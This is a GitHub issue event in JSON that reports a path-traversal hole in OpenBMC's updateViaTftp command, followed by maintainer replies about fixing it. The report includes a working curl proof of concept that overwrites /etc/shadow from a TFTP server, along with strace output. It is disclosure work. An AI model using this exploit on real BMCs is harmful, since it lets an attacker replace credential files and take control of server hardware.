{"action":"opened","issue":{"url":"https://api.github.com/repos/openbmc/openbmc/issues/1898","repository_url":"https://api.github.com/repos/openbmc/openbmc","labels_url":"https://api.github.com/repos/openbmc/openbmc/issues/1898/labels{/name}","comments_url":"https://api.github.com/repos/openbmc/openbmc/issues/1898/comments","events_url":"https://api.github.com/repos/openbmc/openbmc/issues/1898/events","html_url":"https://github.com/openbmc/openbmc/issues/1898","id":240684202,"number":1898,"title":"[security] overwrite any file on the bmc with updateViaTftp","user":{"login":"rfrandse","id":15894767,"avatar_url":"https://avatars0.githubusercontent.com/u/15894767?v=3","gravatar_id":"","url":"https://api.github.com/users/rfrandse","html_url":"https://github.com/rfrandse","followers_url":"https://api.github.com/users/rfrandse/followers","following_url":"https://api.github.com/users/rfrandse/following{/other_user}","gists_url":"https://api.github.com/users/rfrandse/gists{/gist_id}","starred_url":"https://api.github.com/users/rfrandse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rfrandse/subscriptions","organizations_url":"https://api.github.com/users/rfrandse/orgs","repos_url":"https://api.github.com/users/rfrandse/repos","events_url":"https://api.github.com/users/rfrandse/events{/privacy}","received_events_url":"https://api.github.com/users/rfrandse/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2017-07-05T15:12:34Z","updated_at":"2017-07-05T15:12:34Z","closed_at":null,"body":"@ya-mouse commented on [Wed Dec 07 2016](https://github.com/openbmc/skeleton/issues/133)\n\nI've found a security hole that allows to override any bmc file via updateViaTftp command:\r\n```\r\ncurl -v -b cjar -k -X POST -H \"Content-Type: application/json\" \\\r\n   -d '{\"data\": [\"10.1.0.1\", \"../etc/shadow\"]}' \\\r\n   https://10.1.0.102/org/openbmc/control/flash/bmc/acion/updateViaTftp\r\n```\r\nThis will override /etc/shadow on the bmc with the user's content from \"etc/shadow\" on tftp server.\r\n\r\nBefore exploiting:\r\n```\r\n# md5sum /etc/shadow\r\n7f2131b66f559a79b7198b64a8577048 /etc/shadow\r\n```\r\nHere is a part of strace log from /usr/sbin/download_manager.py process:\r\n```\r\n[pid  2520] open(\"/tmp/../etc/shadow\", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4\r\n[pid  2520] sendto(3, \"\\0\\1../etc/shadow\\0octet\\0\", 22, 0, {sa_family=AF_INET, sin_port=htons(69), sin_addr=inet_addr(\"10.1.0.1\")}, 16) = 22\r\n[pid  2520] recvfrom(3, \"\\0\\3\\0\\1root:$1$UGMqyqdG$FZiylVFmRRf\"..., 516, 0, {sa_family=AF_INET, sin_port=htons(50237), sin_addr=inet_addr(\"10.1.0.1\")}, [16]) = 516\r\n[pid  2520] connect(3, {sa_family=AF_INET, sin_port=htons(50237), sin_addr=inet_addr(\"10.1.0.1\")}, 16) = 0\r\n[pid  2520] write(4, \"root:$1$UGMqyqdG$FZiylVFmRRfl9Z0\"..., 512) = 512\r\n[pid  2520] sendto(3, \"\\0\\4\\0\\1\", 4, 0, {sa_family=AF_INET, sin_port=htons(50237), sin_addr=inet_addr(\"10.1.0.1\")}, 16) = 4\r\n[pid  2520] read(3, \"\\0\\3\\0\\2:*:17141:0:99999:7:::\\navahi:\"..., 516) = 133\r\n[pid  2520] write(4, \":*:17141:0:99999:7:::\\navahi:!:17\"..., 129) = 129\r\n```\r\nAfter upload:\r\n```\r\n# md5sum /etc/shadow\r\n28f761c4178e7f709a5bdce6943c4496  /etc/shadow\r\n```\n\n---\n\n@williamspatrick commented on [Thu Dec 08 2016](https://github.com/openbmc/skeleton/issues/133#issuecomment-265801988)\n\nWe plan to get rid of download_manager.py in its current form.  I'll look and see if there is an easy way to clean this up now though.\n\n---\n\n@ya-mouse commented on [Thu Dec 08 2016](https://github.com/openbmc/skeleton/issues/133#issuecomment-265806817)\n\njust get basename for filename in:\r\nhttps://github.com/openbmc/skeleton/blob/master/pydownloadmgr/download_manager.py#L59\r\nor use temporary names.\n\n---\n\n@williamspatrick commented on [Tue Apr 25 2017](https://github.com/openbmc/skeleton/issues/133#issuecomment-297140425)\n\nOnce we get the new TFTP server in we should disable the one from skeleton.  When that happens this issue can be closed.  We are ensuring the new TFTP server does not have this issue.\n\n"}}
{"actor":{"display_login":"rfrandse"}}